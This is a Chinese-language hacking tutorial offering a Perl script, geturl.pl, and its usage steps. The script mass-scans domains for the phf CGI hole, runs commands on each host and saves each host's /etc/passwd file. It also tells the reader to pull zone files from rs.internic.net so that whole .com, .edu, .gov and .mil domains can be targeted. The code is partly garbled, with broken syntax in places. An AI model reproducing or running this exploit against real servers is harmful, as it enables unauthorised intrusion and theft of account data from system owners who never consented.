如何获取passwd密码档hj
另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。
脚本内容如下:
geturl.pl
--------- cut here
#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of h++p://website.dom/cgi-bin/phf?Qalias=x/usr/bin/id # Format of h++p://website.dom/cgi-bin/phf?Qali...cat+/etc/passwd # IF result of first command returns an "id=" then check for user. If user # is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default. my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);
# Do checking on input.
die("GetURL: $URLfilename is a directory. " if (-d $URLfilename);
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input. "; @URLs = ;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults" or die("GetURL: Cannot open output file. ";
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url";
chomp($url);
$result = `$program h++p://${url}/cgi-bin/phf?Qalias=x/usr/bin/id`; print OUTFILE (" ============ $url ============ ";
foreach (split(/ /, $result)) {
print OUTFILE ("$_ ";
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response. ";
} else {
print ("Got ID response, getting /etc/passwd...";
$result = `$program h++p://${url}/cgi-bin/phf?Qalias=x/bin/cat+/etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">${domainfilename}.passwd") {
print PASSWDFILE (" ";
foreach (split(/ /, $result)) {
print PASSWDFILE ("$_ ";
}
close(PASSWDFILE);
print ("Done! [$domainfilename]. ";
} else {
print ("FAILED! [$domainfilename]. ";
}
}
}
}
# We are done. Close the output file and end the program.
close (OUTFILE);
0;
------------- cut here
OK。这很简单吧。如果你定义了自己的域名文件urls,也可以使用geturl.pl。
以下是脚本文件说明:
这个轻巧的工具非常容易使用。它可以帮助你取得root用户权限和从不同的domain获取
passwd密码档。
geturl.pl试图记录Internet上每台domain对phf的响应结果。你可以选
择.com .edu.org .mil .gov或是需要探测的IP地址列表。一旦发现具有root权限的用户,
便在结果文件中记录uid=root,然後继续探测下一台domain。如果phf探测器找到的用户没
有root权限,它就会读取该domain上的passwd密码档,并在当前目录下以
domain.???.passwd文件名保存。
以下是此工具的使用说明:
ftp到rs.internic.net站点
在domain目录下寻找:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
下载这些文件并对目标主机所属域名文件运行getdomain.pl,如:
perl getdomain.pl com.zone com >com.all
该脚本会分析出.com域的所有主机名并输出到文件com.all中。
如果希望分析.edu域,输入:
perl getdomain.pl edu.zone edu >edu.all
你便会有一个供geturl.pl使用的文件edu.all。
使用geturl.pl的格式如下:
geturl.pl
用edu.all或com.all代替
如果你定义了域名文件urls,运行geturl.pl时不需。
运行结果被记录到当前目录下的GetURLResults文件中。
1. geturl.pl使用lynx进行搜索(lynx要在查找路径中)。
2. 如果geturl.pl发现在一个url的httpd上获得了root权限,就会记录该root用户。
如果http用户不是root,但该用户具有在http上执行phf权限,就会抓取该domain的passwd
档,并以fulldomainname.passwd的文件保存到当前目录下。
3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。
4. 我使用的是OS/2的lynx和perl,在长文件名方面没有遇到问题。我在UNIX机进行了测
试,该程序也可以正常工作。